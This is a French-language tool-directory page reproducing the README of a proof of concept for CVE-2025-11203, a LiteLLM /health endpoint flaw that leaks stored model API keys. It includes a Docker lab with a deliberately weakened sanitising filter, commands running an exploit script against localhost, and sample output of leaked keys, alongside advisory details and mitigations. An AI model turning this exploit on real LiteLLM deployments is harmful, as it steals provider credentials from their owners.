Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-11203-PoC — Le code pour reproduire personnellement la vulnérabilité correspondante | Kitploit
Outils/GitHubGitHub/learner202649/cve-2025-11203-poc
Analyse des VulnérabilitésExploitationCollecte d'InformationsSécurité WebApprentissage et ÉducationSécurité des API
GitHublearner202649/cve-2025-11203-poc

CVE-2025-11203-PoC

Le code pour reproduire personnellement la vulnérabilité correspondante

Voir le dépôt
15il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-11203 — LiteLLM Health Endpoint API_KEY Information Disclosure

LiteLLM (versions < 1.63.14) dans le traitement du paramètre api_key sur l'endpoint /health, ne filtre pas correctement les informations sensibles, ce qui permet à un utilisateur authentifié d'obtenir les clés API stockées dans d'autres configurations de modèles. Le champ api_key, qui aurait dû être supprimé par la fonction _clean_endpoint_data(), est divulgué dans certains chemins de code.

FieldValue
CVECVE-2025-11203
ZDI IDZDI-25-929 (ZDI-CAN-26585)
CVSS v3.03.5 (LOW) — AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N
CWECWE-200 (Exposure of Sensitive Information to an Unauthorized Actor)
AffectedLiteLLM < 1.63.14
Fixedv1.63.14+ (_clean_endpoint_data() application complète)
Published2025-10-29
Discovered byDavid Fiser & Alfredo Oliveira — Trend Micro Security Research
Reported to vendor2025-03-25
LinksZDI-25-929 • NVD • GHSA-w4vf-cc4x-mpjq

Description

L'endpoint /health de LiteLLM est utilisé pour renvoyer l'état de santé de tous les modèles configurés. Normalement, la fonction _clean_endpoint_data() devrait supprimer les champs sensibles (tels que api_key, x-api-key, etc.) de la réponse de vérification de santé.

Cependant, avant la v1.63.14, cette fonction de nettoyage n'était pas exécutée ou était exécutée de manière incomplète dans certains chemins de code, ce qui entraînait le retour en clair des clés API de la configuration des modèles dans la réponse de vérification de santé.

Endpoint vulnérable

EndpointMéthodeDescription
/healthGETRenvoie l'état de santé de tous les modèles
/health/livelinessGETVérification de l'activité
/health/readinessGETVérification de la disponibilité

Informations sensibles divulguées

Un utilisateur authentifié peut obtenir via l'interface de vérification de santé :

  • Clés API de tous les modèles configurés (OpenAI, Anthropic, Azure, etc.)
  • URL des endpoints des modèles et autres informations
  • Les informations d'identification stockées peuvent être utilisées pour d'autres attaques

Proof of Concept

Quick Start (Docker)

# 1. 启动脆弱版 LiteLLM
docker compose up -d

# 2. 安装依赖
pip install -r requirements.txt

# 3. 运行利用脚本
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key

# 4. 查看完整响应
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key --verbose

# 5. (可选)验证修复版本
docker compose --profile fixed up -d
python3 exploit/exploit.py --target http://localhost:4001 --key sk-litellm-master-key --fixed

Résultat attendu

======================================================================
[VULNERABLE] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
 Target     : http://localhost:4000
 API Key    : sk-litellm-master-key...
 Endpoint   : /health

[*] Step 1: Query /health (this may take ~60s while LiteLLM probes upstream models)...
    HTTP 200 — OK

[*] Step 2: Scanning for leaked credentials...

[🔥] LEAKED CREDENTIALS FOUND: 3 item(s)!

    Path  : unhealthy_endpoints[0].api_key
    Field : api_key
    Value : sk-this-is-a-leaked-openai-key...cdef123456  (len=43)

    Path  : unhealthy_endpoints[1].api_key
    Field : api_key
    Value : sk-another-leaked-key-789012xy...-789012xyz  (len=31)

    Path  : unhealthy_endpoints[2].api_key
    Field : api_key
    Value : sk-ant-anthropic-leaked-key-xx...-key-xxxxx  (len=33)

 Models checked: 3
 Credentials leaked: 3
 [🔥] VULNERABILITY CONFIRMED: API keys exposed via /health!

Note: Step 1 takes ~60s because LiteLLM probes each upstream model (fake keys cause each connection to time out). The leaked keys appear under unhealthy_endpoints since the fake keys can't actually connect to OpenAI/Anthropic.

La version corrigée refuse la divulgation :

======================================================================
[FIXED] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
    No API keys found in response.
    [+] Expected: keys sanitized by _clean_endpoint_data()

Technical Details

Code vulnérable

La vulnérabilité se situe dans la fonction _clean_endpoint_data() dans litellm/proxy/health_check.py, qui filtre les champs sensibles comme api_key via la liste ILLEGAL_DISPLAY_PARAMS :

ILLEGAL_DISPLAY_PARAMS = [
    "messages",
    "api_key",
    "prompt",
    "input",
    "vertex_credentials",
    "aws_access_key_id",
    "aws_secret_access_key",
]

def _clean_endpoint_data(endpoint_data: dict, details: Optional[bool] = True):
    return (
        {k: v for k, v in endpoint_data.items() if k not in ILLEGAL_DISPLAY_PARAMS}
        if details is not False
        else {k: v for k, v in endpoint_data.items() if k in MINIMAL_DISPLAY_PARAMS}
    )

Dans cette démonstration, "api_key" a été supprimé de ILLEGAL_DISPLAY_PARAMS via sed, ce qui fait que la réponse /health renvoie la configuration brute des modèles, simulant le contournement de cette fonction de nettoyage dans certains chemins de code.

Impact

  • Un utilisateur authentifié avec des privilèges faibles peut lire les clés API de toutes les configurations de modèles
  • Les informations d'identification divulguées peuvent être utilisées pour appeler directement les API des fournisseurs LLM
  • Cela peut entraîner d'autres fuites de données et une prise de contrôle des comptes

Environment

CVE-2025-11203/
├── README.md                    # This file
├── docker-compose.yml           # Vulnerable + fixed LiteLLM
├── litellm_config.yaml          # Config with 3 models + API keys
├── requirements.txt             # Python dependencies
├── litellm-vuln/
│   └── Dockerfile               # pip install "litellm[proxy]==1.61.0" + patch
├── exploit/
│   └── exploit.py               # Main exploit script
├── docs/
│   └── advisory.md
└── screenshots/

Fix

Corrigé dans la v1.63.14, garantissant que _clean_endpoint_data() est correctement appelée dans tous les chemins de code de vérification de santé.

Mesures d'atténuation

  1. Mettre à niveau LiteLLM vers v1.63.14+
  2. Si la mise à niveau n'est pas possible, restreindre les sources d'accès à l'endpoint /health
  3. Surveiller les accès anormaux à l'endpoint de vérification de santé

References

  • ZDI-25-929
  • NVD Detail
  • GHSA-w4vf-cc4x-mpjq
  • LiteLLM v1.63.14 Release Notes

Disclaimer: This content is provided for educational purposes and authorized security testing only.

Télécharger l’outil